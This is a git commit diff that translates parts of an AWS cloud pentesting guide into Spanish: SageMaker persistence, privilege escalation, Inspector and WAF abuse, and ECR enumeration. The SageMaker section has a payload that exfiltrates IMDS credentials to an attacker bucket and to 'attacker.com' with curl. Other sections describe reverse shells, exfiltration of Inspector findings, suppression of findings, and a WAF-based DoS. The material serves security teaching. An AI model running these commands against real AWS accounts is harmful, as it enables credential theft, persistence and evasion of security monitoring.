Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

This commit is contained in:
Translator
2025-08-01 10:11:45 +00:00
parent c44d292da2
commit 7ccda24868
47 changed files with 451 additions and 268 deletions

View File

@@ -1 +1,3 @@
# AWS - Persistencia
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,9 +1,11 @@
# AWS - SageMaker Lifecycle Configuration Persistence
# Aws Sagemaker Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Overview of Persistence Techniques
Esta sección describe métodos para obtener persistencia en SageMaker abusando de las Configuraciones de Ciclo de Vida (LCCs), incluyendo shells inversos, trabajos cron, robo de credenciales a través de IMDS y puertas traseras SSH. Estos scripts se ejecutan con el rol IAM de la instancia y pueden persistir a través de reinicios. La mayoría de las técnicas requieren acceso a la red saliente, pero el uso de servicios en el plano de control de AWS aún puede permitir el éxito si el entorno está en modo 'VPC-only'.
#### Nota: Las instancias de cuadernos de SageMaker son esencialmente instancias EC2 gestionadas configuradas específicamente para cargas de trabajo de aprendizaje automático.
Esta sección describe métodos para obtener persistencia en SageMaker abusando de las Configuraciones de Ciclo de Vida (LCCs), incluyendo shells inversos, trabajos cron, robo de credenciales a través de IMDS y puertas traseras SSH. Estos scripts se ejecutan con el rol IAM de la instancia y pueden persistir a través de reinicios. La mayoría de las técnicas requieren acceso a la red saliente, pero el uso de servicios en el plano de control de AWS aún puede permitir el éxito si el entorno está en modo "solo VPC".
#### Nota: Las instancias de cuaderno de SageMaker son esencialmente instancias EC2 gestionadas configuradas específicamente para cargas de trabajo de aprendizaje automático.
## Required Permissions
* Notebook Instances:
@@ -21,7 +23,7 @@ sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## Establecer la Configuración del Ciclo de Vida en las Instancias de Notebook
## Configurar la Configuración del Ciclo de Vida en Instancias de Notebook
### Ejemplo de Comandos de AWS CLI:
```bash
@@ -38,9 +40,9 @@ aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## Establecer Configuración de Ciclo de Vida en SageMaker Studio
## Configuración del Ciclo de Vida en SageMaker Studio
Las Configuraciones de Ciclo de Vida se pueden adjuntar a varios niveles y a diferentes tipos de aplicaciones dentro de SageMaker Studio.
Las Configuraciones del Ciclo de Vida se pueden adjuntar a varios niveles y a diferentes tipos de aplicaciones dentro de SageMaker Studio.
### Nivel de Dominio de Studio (Todos los Usuarios)
```bash
@@ -135,7 +137,7 @@ chmod +x $PAYLOAD_PATH
```
## Exfiltración de Credenciales a través de IMDS (v1 y v2)
Las configuraciones de ciclo de vida pueden consultar el Servicio de Metadatos de Instancia (IMDS) para recuperar credenciales de IAM y exfiltrarlas a una ubicación controlada por el atacante.
Las configuraciones de ciclo de vida pueden consultar el Servicio de Metadatos de Instancia (IMDS) para recuperar credenciales de IAM y exfiltrarlas a una ubicación controlada por un atacante.
### Ejemplo de Payload:
```bash
@@ -153,4 +155,4 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1 +1,3 @@
# AWS - Post Explotación
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,9 +12,9 @@ Para más información sobre Macie, consulta:
### Amazon Macie - Bypass `Reveal Sample` Integrity Check
AWS Macie es un servicio de seguridad que detecta automáticamente datos sensibles dentro de entornos de AWS, como credenciales, información de identificación personal (PII) y otros datos confidenciales. Cuando Macie identifica una credencial sensible, como una clave secreta de AWS almacenada en un bucket de S3, genera un hallazgo que permite al propietario ver una "muestra" de los datos detectados. Típicamente, una vez que el archivo sensible se elimina del bucket de S3, se espera que la clave secreta ya no pueda ser recuperada.
AWS Macie es un servicio de seguridad que detecta automáticamente datos sensibles dentro de entornos de AWS, como credenciales, información personal identificable (PII) y otros datos confidenciales. Cuando Macie identifica una credencial sensible, como una clave secreta de AWS almacenada en un bucket de S3, genera un hallazgo que permite al propietario ver una "muestra" de los datos detectados. Típicamente, una vez que el archivo sensible se elimina del bucket de S3, se espera que la clave secreta ya no pueda ser recuperada.
Sin embargo, se ha identificado un **bypass** donde un atacante con permisos suficientes puede **volver a subir un archivo con el mismo nombre** pero que contenga datos ficticios diferentes y no sensibles. Esto provoca que Macie asocie el archivo recién subido con el hallazgo original, permitiendo al atacante usar la **función "Reveal Sample"** para extraer el secreto detectado anteriormente. Este problema representa un riesgo de seguridad significativo, ya que los secretos que se asumían eliminados siguen siendo recuperables a través de este método.
Sin embargo, se ha identificado un **bypass** donde un atacante con permisos suficientes puede **volver a subir un archivo con el mismo nombre** pero que contenga datos ficticios diferentes y no sensibles. Esto provoca que Macie asocie el archivo recién subido con el hallazgo original, permitiendo al atacante usar la **función "Reveal Sample"** para extraer el secreto detectado anteriormente. Este problema representa un riesgo de seguridad significativo, ya que los secretos que se asumieron como eliminados siguen siendo recuperables a través de este método.
![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
@@ -35,3 +35,4 @@ Sin embargo, se ha identificado un **bypass** donde un atacante con permisos suf
**Resumen:**
Esta vulnerabilidad permite a un atacante con permisos suficientes de AWS IAM recuperar secretos detectados previamente incluso después de que el archivo original ha sido eliminado de S3. Si se expone una clave secreta de AWS, un token de acceso u otra credencial sensible, un atacante podría aprovechar este defecto para recuperarla y obtener acceso no autorizado a los recursos de AWS. Esto podría llevar a una escalada de privilegios, acceso no autorizado a datos o un mayor compromiso de activos en la nube, resultando en violaciones de datos y interrupciones del servicio.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,8 +1,10 @@
# AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
@@ -33,7 +35,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
### `sagemaker:CreateProcessingJob,iam:PassRole`
Un atacante con esos permisos puede hacer que **sagemaker ejecute un processingjob** con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una **instancia de cuenta ECS gestionada por AWS**, y **robar las credenciales del rol IAM adjunto**.
Un atacante con esos permisos puede hacer que **sagemaker ejecute un processingjob** con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una **instancia de cuenta ECS gestionada por AWS**, y **robar las credenciales del rol de IAM adjunto**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \

View File

@@ -1,5 +1,7 @@
# AWS - WorkDocs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## WorkDocs
Para más información sobre WorkDocs, consulta:
@@ -43,4 +45,9 @@ Para ello, sigue las instrucciones de [https://docs.aws.amazon.com/workdocs/late
Inicia sesión con ese usuario en workdoc y accede al panel de administración en `/workdocs/index.html#/admin`
No encontré ninguna manera de hacer esto desde la cli.
No encontré ninguna forma de hacer esto desde la cli.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,12 +1,10 @@
# AWS - ECR Enum
## AWS - ECR Enum
{{#include ../../../banners/hacktricks-training.md}}
### ECR
## ECR
#### Información Básica
### Información Básica
Amazon **Elastic Container Registry** (Amazon ECR) es un **servicio de registro de imágenes de contenedor gestionado**. Está diseñado para proporcionar un entorno donde los clientes pueden interactuar con sus imágenes de contenedor utilizando interfaces bien conocidas. Específicamente, se admite el uso de la CLI de Docker o cualquier cliente preferido, lo que permite actividades como subir, bajar y gestionar imágenes de contenedor.
@@ -39,7 +37,7 @@ Cada cuenta de AWS tiene 2 registros: **Privados** y **Públicos**.
Estas son las **imágenes** que están en el **registro privado** o en el **público**.
> [!NOTE]
> Tenga en cuenta que para subir una imagen a un repositorio, el **repositorio ECR debe tener el mismo nombre que la imagen**.
> Tenga en cuenta que para subir una imagen a un repositorio, el **repositorio de ECR debe tener el mismo nombre que la imagen**.
#### Políticas de Registro y Repositorio
@@ -47,7 +45,7 @@ Estas son las **imágenes** que están en el **registro privado** o en el **púb
<figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
#### Enumeración
### Enumeración
```bash
# Get repos
aws ecr describe-repositories
@@ -67,13 +65,13 @@ aws ecr-public describe-repositories
aws ecr get-registry-policy
aws ecr get-repository-policy --repository-name <repo_name>
```
#### Enum no autenticado
### Enumeración No Autenticada
{{#ref}}
../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
{{#endref}}
#### Escalación de privilegios
### Escalación de Privilegios
En la siguiente página puedes verificar cómo **abusar de los permisos de ECR para escalar privilegios**:
@@ -81,13 +79,13 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de ECR p
../aws-privilege-escalation/aws-ecr-privesc.md
{{#endref}}
#### Post Explotación
### Post Explotación
{{#ref}}
../aws-post-exploitation/aws-ecr-post-exploitation.md
{{#endref}}
#### Persistencia
### Persistencia
{{#ref}}
../aws-persistence/aws-ecr-persistence.md

View File

@@ -1 +1,3 @@
# AWS - Servicios de Seguridad y Detección
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,30 +1,28 @@
# AWS - Inspector Enum
## AWS - Inspector Enum
{{#include ../../../../banners/hacktricks-training.md}}
### Inspector
## Inspector
Amazon Inspector es un servicio avanzado y automatizado de gestión de vulnerabilidades diseñado para mejorar la seguridad de su entorno AWS. Este servicio escanea continuamente instancias de Amazon EC2, imágenes de contenedores en Amazon ECR, Amazon ECS y funciones de AWS Lambda en busca de vulnerabilidades y exposiciones de red no intencionadas. Al aprovechar una robusta base de datos de inteligencia de vulnerabilidades, Amazon Inspector proporciona hallazgos detallados, incluidos niveles de severidad y recomendaciones de remediación, ayudando a las organizaciones a identificar y abordar proactivamente los riesgos de seguridad. Este enfoque integral asegura una postura de seguridad fortalecida en varios servicios de AWS, ayudando en el cumplimiento y la gestión de riesgos.
### Key elements
### Elementos clave
#### Findings
#### Hallazgos
Los hallazgos en Amazon Inspector son informes detallados sobre vulnerabilidades y exposiciones descubiertas durante el escaneo de instancias de EC2, repositorios de ECR o funciones de Lambda. Según su estado, los hallazgos se clasifican como:
- **Active**: El hallazgo no ha sido remediado.
- **Closed**: El hallazgo ha sido remediado.
- **Suppressed**: El hallazgo ha sido marcado con este estado debido a una o más **suppression rules**.
- **Activo**: El hallazgo no ha sido remediado.
- **Cerrado**: El hallazgo ha sido remediado.
- **Suprimido**: El hallazgo ha sido marcado con este estado debido a una o más **reglas de supresión**.
Los hallazgos también se clasifican en los siguientes tres tipos:
- **Package**: Estos hallazgos se relacionan con vulnerabilidades en paquetes de software instalados en sus recursos. Ejemplos incluyen bibliotecas obsoletas o dependencias con problemas de seguridad conocidos.
- **Code**: Esta categoría incluye vulnerabilidades encontradas en el código de aplicaciones que se ejecutan en sus recursos de AWS. Los problemas comunes son errores de codificación o prácticas inseguras que podrían llevar a brechas de seguridad.
- **Network**: Los hallazgos de red identifican exposiciones potenciales en configuraciones de red que podrían ser explotadas por atacantes. Estos incluyen puertos abiertos, protocolos de red inseguros y grupos de seguridad mal configurados.
- **Paquete**: Estos hallazgos se relacionan con vulnerabilidades en paquetes de software instalados en sus recursos. Ejemplos incluyen bibliotecas desactualizadas o dependencias con problemas de seguridad conocidos.
- **Código**: Esta categoría incluye vulnerabilidades encontradas en el código de aplicaciones que se ejecutan en sus recursos de AWS. Los problemas comunes son errores de codificación o prácticas inseguras que podrían llevar a brechas de seguridad.
- **Red**: Los hallazgos de red identifican exposiciones potenciales en configuraciones de red que podrían ser explotadas por atacantes. Estos incluyen puertos abiertos, protocolos de red inseguros y grupos de seguridad mal configurados.
#### Filters and Suppression Rules
#### Filtros y Reglas de Supresión
Los filtros y las reglas de supresión en Amazon Inspector ayudan a gestionar y priorizar los hallazgos. Los filtros le permiten refinar los hallazgos según criterios específicos, como severidad o tipo de recurso. Las reglas de supresión le permiten suprimir ciertos hallazgos que se consideran de bajo riesgo, que ya han sido mitigados, o por cualquier otra razón importante, evitando que sobrecarguen sus informes de seguridad y permitiéndole centrarse en problemas más críticos.
@@ -32,56 +30,56 @@ Los filtros y las reglas de supresión en Amazon Inspector ayudan a gestionar y
Un Software Bill of Materials (SBOM) en Amazon Inspector es una lista de inventario anidada exportable que detalla todos los componentes dentro de un paquete de software, incluidas bibliotecas y dependencias. Los SBOM ayudan a proporcionar transparencia en la cadena de suministro de software, permitiendo una mejor gestión de vulnerabilidades y cumplimiento. Son cruciales para identificar y mitigar riesgos asociados con componentes de software de código abierto y de terceros.
### Key features
### Características clave
#### Export findings
#### Exportar hallazgos
Amazon Inspector ofrece la capacidad de exportar hallazgos a Amazon S3 Buckets, Amazon EventBridge y AWS Security Hub, lo que le permite generar informes detallados de vulnerabilidades y exposiciones identificadas para un análisis posterior o compartir en una fecha y hora específicas. Esta función admite varios formatos de salida, como CSV y JSON, lo que facilita la integración con otras herramientas y sistemas. La funcionalidad de exportación permite la personalización de los datos incluidos en los informes, lo que le permite filtrar hallazgos según criterios específicos como severidad, tipo de recurso o rango de fechas e incluir por defecto todos sus hallazgos en la región de AWS actual con un estado Activo.
Amazon Inspector ofrece la capacidad de exportar hallazgos a Amazon S3 Buckets, Amazon EventBridge y AWS Security Hub, lo que le permite generar informes detallados de vulnerabilidades y exposiciones identificadas para un análisis posterior o compartir en una fecha y hora específicas. Esta función admite varios formatos de salida, como CSV y JSON, facilitando la integración con otras herramientas y sistemas. La funcionalidad de exportación permite la personalización de los datos incluidos en los informes, lo que le permite filtrar hallazgos según criterios específicos como severidad, tipo de recurso o rango de fechas e incluir por defecto todos sus hallazgos en la Región AWS actual con un estado Activo.
Al exportar hallazgos, se necesita una clave de Key Management Service (KMS) para cifrar los datos durante la exportación. Las claves KMS aseguran que los hallazgos exportados estén protegidos contra accesos no autorizados, proporcionando una capa adicional de seguridad para información sensible sobre vulnerabilidades.
Al exportar hallazgos, se necesita una clave de Key Management Service (KMS) para cifrar los datos durante la exportación. Las claves KMS aseguran que los hallazgos exportados estén protegidos contra accesos no autorizados, proporcionando una capa adicional de seguridad para la información sensible sobre vulnerabilidades.
#### Amazon EC2 instances scanning
#### Escaneo de instancias de Amazon EC2
Amazon Inspector ofrece robustas capacidades de escaneo para instancias de Amazon EC2 para detectar vulnerabilidades y problemas de seguridad. Inspector comparó los metadatos extraídos de la instancia de EC2 con reglas de avisos de seguridad para producir vulnerabilidades de paquetes y problemas de accesibilidad de red. Estos escaneos se pueden realizar a través de métodos **agent-based** o **agentless**, dependiendo de la configuración de los ajustes de **scan mode** de su cuenta.
Amazon Inspector ofrece capacidades de escaneo robustas para instancias de Amazon EC2 para detectar vulnerabilidades y problemas de seguridad. Inspector comparó los metadatos extraídos de la instancia de EC2 con reglas de avisos de seguridad para producir vulnerabilidades de paquetes y problemas de accesibilidad de red. Estos escaneos se pueden realizar a través de métodos **basados en agente** o **sin agente**, dependiendo de la configuración de los ajustes de **modo de escaneo** de su cuenta.
- **Agent-Based**: Utiliza el agente de AWS Systems Manager (SSM) para realizar escaneos en profundidad. Este método permite una recopilación y análisis de datos exhaustivos directamente desde la instancia.
- **Agentless**: Proporciona una alternativa ligera que no requiere la instalación de un agente en la instancia, creando un snapshot de EBS de cada volumen de la instancia de EC2, buscando vulnerabilidades y luego eliminándolo; aprovechando la infraestructura existente de AWS para el escaneo.
- **Basado en Agente**: Utiliza el agente de AWS Systems Manager (SSM) para realizar escaneos en profundidad. Este método permite una recopilación y análisis de datos exhaustivos directamente desde la instancia.
- **Sin Agente**: Proporciona una alternativa ligera que no requiere la instalación de un agente en la instancia, creando un snapshot de EBS de cada volumen de la instancia de EC2, buscando vulnerabilidades y luego eliminándolo; aprovechando la infraestructura existente de AWS para el escaneo.
El modo de escaneo determina qué método se utilizará para realizar escaneos de EC2:
- **Agent-Based**: Implica la instalación del agente SSM en instancias de EC2 para una inspección profunda.
- **Hybrid Scanning**: Combina métodos basados en agente y sin agente para maximizar la cobertura y minimizar el impacto en el rendimiento. En aquellas instancias de EC2 donde se instala el agente SSM, Inspector realizará un escaneo basado en agente, y para aquellas donde no hay agente SSM, el escaneo realizado será sin agente.
- **Basado en Agente**: Implica la instalación del agente SSM en instancias de EC2 para una inspección profunda.
- **Escaneo Híbrido**: Combina métodos basados en agente y sin agente para maximizar la cobertura y minimizar el impacto en el rendimiento. En aquellas instancias de EC2 donde se ha instalado el agente SSM, Inspector realizará un escaneo basado en agente, y para aquellas donde no hay agente SSM, el escaneo realizado será sin agente.
Otra característica importante es la **deep inspection** para instancias de EC2 Linux. Esta función ofrece un análisis exhaustivo del software y la configuración de las instancias de EC2 Linux, proporcionando evaluaciones detalladas de vulnerabilidades, incluidas vulnerabilidades del sistema operativo, vulnerabilidades de aplicaciones y configuraciones incorrectas, asegurando una evaluación de seguridad integral. Esto se logra a través de la inspección de **custom paths** y todos sus subdirectorios. Por defecto, Amazon Inspector escaneará lo siguiente, pero cada cuenta miembro puede definir hasta 5 rutas personalizadas más, y cada administrador delegado hasta 10:
Otra característica importante es la **inspección profunda** para instancias de EC2 Linux. Esta función ofrece un análisis exhaustivo del software y la configuración de las instancias de EC2 Linux, proporcionando evaluaciones detalladas de vulnerabilidades, incluidas vulnerabilidades del sistema operativo, vulnerabilidades de aplicaciones y configuraciones incorrectas, asegurando una evaluación de seguridad integral. Esto se logra a través de la inspección de **rutas personalizadas** y todos sus subdirectorios. Por defecto, Amazon Inspector escaneará lo siguiente, pero cada cuenta miembro puede definir hasta 5 rutas personalizadas más, y cada administrador delegado hasta 10:
- `/usr/lib`
- `/usr/lib64`
- `/usr/local/lib`
- `/usr/local/lib64`
#### Amazon ECR container images scanning
#### Escaneo de imágenes de contenedores de Amazon ECR
Amazon Inspector proporciona robustas capacidades de escaneo para imágenes de contenedores de Amazon Elastic Container Registry (ECR), asegurando que las vulnerabilidades de paquetes sean detectadas y gestionadas de manera eficiente.
Amazon Inspector proporciona capacidades de escaneo robustas para imágenes de contenedores de Amazon Elastic Container Registry (ECR), asegurando que las vulnerabilidades de paquetes sean detectadas y gestionadas de manera eficiente.
- **Basic Scanning**: Este es un escaneo rápido y ligero que identifica vulnerabilidades conocidas de paquetes de OS en imágenes de contenedores utilizando un conjunto estándar de reglas del proyecto de código abierto Clair. Con esta configuración de escaneo, sus repositorios serán escaneados al hacer push, o realizando escaneos manuales.
- **Enhanced Scanning**: Esta opción agrega la función de escaneo continuo además del escaneo al hacer push. El escaneo mejorado profundiza en las capas de cada imagen de contenedor para identificar vulnerabilidades en paquetes de OS y en paquetes de lenguajes de programación con mayor precisión. Analiza tanto la imagen base como cualquier capa adicional, proporcionando una vista integral de los posibles problemas de seguridad.
- **Escaneo Básico**: Este es un escaneo rápido y ligero que identifica vulnerabilidades conocidas de paquetes de SO en imágenes de contenedores utilizando un conjunto estándar de reglas del proyecto de código abierto Clair. Con esta configuración de escaneo, sus repositorios serán escaneados al hacer push, o realizando escaneos manuales.
- **Escaneo Mejorado**: Esta opción agrega la función de escaneo continuo además del escaneo al hacer push. El escaneo mejorado profundiza en las capas de cada imagen de contenedor para identificar vulnerabilidades en paquetes de SO y en paquetes de lenguajes de programación con mayor precisión. Analiza tanto la imagen base como cualquier capa adicional, proporcionando una vista completa de los posibles problemas de seguridad.
#### Amazon Lambda functions scanning
#### Escaneo de funciones de Amazon Lambda
Amazon Inspector incluye capacidades de escaneo completas para funciones de AWS Lambda y sus capas, asegurando la seguridad e integridad de las aplicaciones sin servidor. Inspector ofrece dos tipos de escaneo para funciones de Lambda:
- **Lambda standard scanning**: Esta función predeterminada identifica vulnerabilidades de software en las dependencias del paquete de aplicación añadidas a su función de Lambda y capas. Por ejemplo, si su función utiliza una versión de una biblioteca como python-jwt con una vulnerabilidad conocida, genera un hallazgo.
- **Lambda code scanning**: Analiza el código de la aplicación personalizada en busca de problemas de seguridad, detectando vulnerabilidades como fallos de inyección, fugas de datos, criptografía débil y falta de cifrado. Captura fragmentos de código que destacan las vulnerabilidades detectadas, como credenciales codificadas. Los hallazgos incluyen sugerencias detalladas de remediación y fragmentos de código para solucionar los problemas.
- **Escaneo estándar de Lambda**: Esta función predeterminada identifica vulnerabilidades de software en las dependencias del paquete de aplicación añadidas a su función de Lambda y capas. Por ejemplo, si su función utiliza una versión de una biblioteca como python-jwt con una vulnerabilidad conocida, genera un hallazgo.
- **Escaneo de código de Lambda**: Analiza el código de la aplicación personalizada en busca de problemas de seguridad, detectando vulnerabilidades como fallos de inyección, filtraciones de datos, criptografía débil y falta de cifrado. Captura fragmentos de código que destacan las vulnerabilidades detectadas, como credenciales codificadas. Los hallazgos incluyen sugerencias detalladas de remediación y fragmentos de código para solucionar los problemas.
#### **Center for Internet Security (CIS) scans**
#### **Escaneos del Center for Internet Security (CIS)**
Amazon Inspector incluye escaneos de CIS para evaluar los sistemas operativos de las instancias de Amazon EC2 en comparación con las recomendaciones de mejores prácticas del Center for Internet Security (CIS). Estos escaneos aseguran que las configuraciones se adhieran a las bases de seguridad estándar de la industria.
Amazon Inspector incluye escaneos del CIS para evaluar los sistemas operativos de las instancias de Amazon EC2 en comparación con las recomendaciones de mejores prácticas del Center for Internet Security (CIS). Estos escaneos aseguran que las configuraciones se adhieran a las líneas base de seguridad estándar de la industria.
- **Configuration**: Los escaneos de CIS evalúan si las configuraciones del sistema cumplen con recomendaciones específicas del CIS Benchmark, con cada verificación vinculada a un ID de verificación y título del CIS.
- **Execution**: Los escaneos se realizan o programan según las etiquetas de instancia y los horarios definidos.
- **Results**: Los resultados posteriores al escaneo indican qué verificaciones pasaron, se saltaron o fallaron, proporcionando información sobre la postura de seguridad de cada instancia.
- **Configuración**: Los escaneos del CIS evalúan si las configuraciones del sistema cumplen con recomendaciones específicas del CIS Benchmark, con cada verificación vinculada a un ID de verificación y título del CIS.
- **Ejecución**: Los escaneos se realizan o programan en función de las etiquetas de las instancias y los horarios definidos.
- **Resultados**: Los resultados posteriores al escaneo indican qué verificaciones pasaron, se saltaron o fallaron, proporcionando información sobre la postura de seguridad de cada instancia.
### Enumeration
### Enumeración
```bash
# Administrator and member accounts #
@@ -200,7 +198,7 @@ aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s
```
El siguiente ejemplo muestra cómo exfiltrar todos los hallazgos activos de Amazon Inspector a un bucket de Amazon S3 controlado por el atacante con una clave de Amazon KMS controlada por el atacante:
1. **Crea un bucket de Amazon S3** y adjunta una política a él para que sea accesible desde el Amazon Inspector de la víctima:
1. **Crea un bucket de Amazon S3** y adjunta una política para que sea accesible desde el Amazon Inspector de la víctima:
```json
{
"Version": "2012-10-17",
@@ -265,7 +263,7 @@ aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s
#### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`
Un atacante podría cancelar la generación del informe de hallazgos especificado o del informe SBOM, impidiendo que los equipos de seguridad reciban información oportuna sobre vulnerabilidades y materiales de software (SBOM), retrasando la detección y remediación de problemas de seguridad.
Un atacante podría cancelar la generación del informe de hallazgos especificado o del informe SBOM, impidiendo que los equipos de seguridad reciban información oportuna sobre vulnerabilidades y la lista de materiales de software (SBOM), retrasando la detección y remediación de problemas de seguridad.
```bash
# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
@@ -276,7 +274,7 @@ aws inspector2 cancel-sbom-export --report-id <value>
#### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
Un atacante con estos permisos podría manipular las reglas de filtrado que determinan qué vulnerabilidades y problemas de seguridad se informan o suprimen (si la **acción** está configurada en SUPPRESS, se crearía una regla de supresión). Esto podría ocultar vulnerabilidades críticas de los administradores de seguridad, facilitando la explotación de estas debilidades sin detección. Al alterar o eliminar filtros importantes, un atacante también podría crear ruido inundando el sistema con hallazgos irrelevantes, obstaculizando la monitorización y respuesta de seguridad efectivas.
Un atacante con estos permisos podría manipular las reglas de filtrado que determinan qué vulnerabilidades y problemas de seguridad se informan o suprimen (si la **acción** está configurada en SUPPRESS, se crearía una regla de supresión). Esto podría ocultar vulnerabilidades críticas a los administradores de seguridad, facilitando la explotación de estas debilidades sin detección. Al alterar o eliminar filtros importantes, un atacante también podría crear ruido inundando el sistema con hallazgos irrelevantes, obstaculizando la monitorización y respuesta de seguridad efectivas.
```bash
# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]

View File

@@ -1,12 +1,10 @@
# AWS - Enumeración de Trusted Advisor
## AWS - Enumeración de Trusted Advisor
{{#include ../../../../banners/hacktricks-training.md}}
## Visión General de AWS Trusted Advisor
Trusted Advisor es un servicio que **proporciona recomendaciones** para optimizar tu cuenta de AWS, alineándose con **las mejores prácticas de AWS**. Es un servicio que opera en múltiples regiones. Trusted Advisor ofrece información en cuatro categorías principales:
Trusted Advisor es un servicio que **proporciona recomendaciones** para optimizar tu cuenta de AWS, alineándose con las **mejores prácticas de AWS**. Es un servicio que opera en múltiples regiones. Trusted Advisor ofrece información en cuatro categorías principales:
1. **Optimización de Costos:** Sugiere cómo reestructurar recursos para reducir gastos.
2. **Rendimiento:** Identifica posibles cuellos de botella en el rendimiento.

View File

@@ -1,7 +1,5 @@
# AWS - WAF Enum
## AWS - WAF Enum
{{#include ../../../../banners/hacktricks-training.md}}
## AWS WAF
@@ -16,7 +14,7 @@ Una Web ACL es una colección de reglas que puedes aplicar a tus aplicaciones we
#### Grupo de Reglas
Un Grupo de Reglas es una colección reutilizable de reglas que puedes aplicar a múltiples Web ACLs. Los grupos de reglas ayudan a gestionar y mantener conjuntos de reglas consistentes en diferentes aplicaciones web o APIs.
Un Grupo de Reglas es una colección reutilizable de reglas que puedes aplicar a múltiples Web ACLs. Los grupos de reglas ayudan a gestionar y mantener conjuntos de reglas consistentes a través de diferentes aplicaciones web o APIs.
Cada grupo de reglas tiene su **capacidad** asociada, que ayuda a calcular y controlar los recursos operativos que se utilizan para ejecutar tus reglas, grupos de reglas y Web ACLs. Una vez que su valor se establece durante la creación, no es posible modificarlo.
@@ -25,11 +23,11 @@ Cada grupo de reglas tiene su **capacidad** asociada, que ayuda a calcular y con
Una regla define un conjunto de condiciones que AWS WAF utiliza para inspeccionar las solicitudes web entrantes. Hay dos tipos principales de reglas:
1. **Regla Regular**: Este tipo de regla utiliza condiciones especificadas para determinar si permitir, bloquear o contar las solicitudes web.
2. **Regla Basada en Tasa**: Cuenta las solicitudes de una dirección IP específica durante un período de cinco minutos. Aquí, los usuarios definen un umbral, y si el número de solicitudes de una IP excede este límite dentro de cinco minutos, las solicitudes subsiguientes de esa IP se bloquean hasta que la tasa de solicitudes caiga por debajo del umbral. El umbral mínimo para las reglas basadas en tasa es de **2000 solicitudes**.
2. **Regla Basada en Tasa**: Cuenta las solicitudes de una dirección IP específica durante un período de cinco minutos. Aquí, los usuarios definen un umbral, y si el número de solicitudes de una IP excede este límite dentro de cinco minutos, las solicitudes subsiguientes de esa IP son bloqueadas hasta que la tasa de solicitudes caiga por debajo del umbral. El umbral mínimo para las reglas basadas en tasa es de **2000 solicitudes**.
#### Reglas Administradas
AWS WAF ofrece conjuntos de reglas administradas preconfigurados que son mantenidos por AWS y vendedores de AWS Marketplace. Estos conjuntos de reglas proporcionan protección contra amenazas comunes y se actualizan regularmente para abordar nuevas vulnerabilidades.
AWS WAF ofrece conjuntos de reglas administradas preconfigurados que son mantenidos por AWS y vendedores del AWS Marketplace. Estos conjuntos de reglas proporcionan protección contra amenazas comunes y se actualizan regularmente para abordar nuevas vulnerabilidades.
#### Conjunto de IP
@@ -73,11 +71,11 @@ Cada cuenta de AWS puede configurar:
- Un máximo de **5 reglas basadas en tasa**.
- Un rendimiento de **10,000 solicitudes por segundo** cuando WAF se implementa con un balanceador de carga de aplicaciones.
#### Acciones de Regla
#### Acciones de regla
Se asignan acciones a cada regla, con opciones que son:
Se asignan acciones a cada regla, con las opciones siendo:
- **Permitir**: La solicitud se reenvía a la distribución de CloudFront o al balanceador de carga de aplicaciones correspondiente.
- **Permitir**: La solicitud se reenvía a la distribución de CloudFront o al Balanceador de Carga de Aplicaciones correspondiente.
- **Bloquear**: La solicitud se termina inmediatamente.
- **Contar**: Cuenta las solicitudes que cumplen con las condiciones de la regla. Esto es útil para probar la regla, confirmando la precisión de la regla antes de configurarla para Permitir o Bloquear.
- **CAPTCHA y Desafío:** Se verifica que la solicitud no provenga de un bot utilizando acertijos de CAPTCHA y desafíos silenciosos.
@@ -97,7 +95,7 @@ AWS WAF se integra con CloudWatch para monitoreo, ofreciendo métricas como Allo
Para interactuar con distribuciones de CloudFront, debes especificar la Región US East (N. Virginia):
- CLI - Especifica la Región US East cuando uses el alcance de CloudFront: `--scope CLOUDFRONT --region=us-east-1`.
- API y SDKs - Para todas las llamadas, usa el endpoint de la región us-east-1.
- API y SDKs - Para todas las llamadas, utiliza el endpoint de la región us-east-1.
Para interactuar con servicios regionales, debes especificar la región:
@@ -259,7 +257,7 @@ aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --
# Delete Web ACL
aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
Los siguientes ejemplos muestran cómo actualizar un Web ACL para bloquear el tráfico legítimo de un conjunto de IP específico. Si la IP de origen no coincide con ninguna de esas IP, la acción predeterminada también sería bloquearla, causando un DoS.
Los siguientes ejemplos muestran cómo actualizar un Web ACL para bloquear el tráfico legítimo de un conjunto de IP específico. Si la IP de origen no coincide con ninguna de esas IP, la acción predeterminada también sería bloquearlo, causando un DoS.
**Web ACL original**:
```json
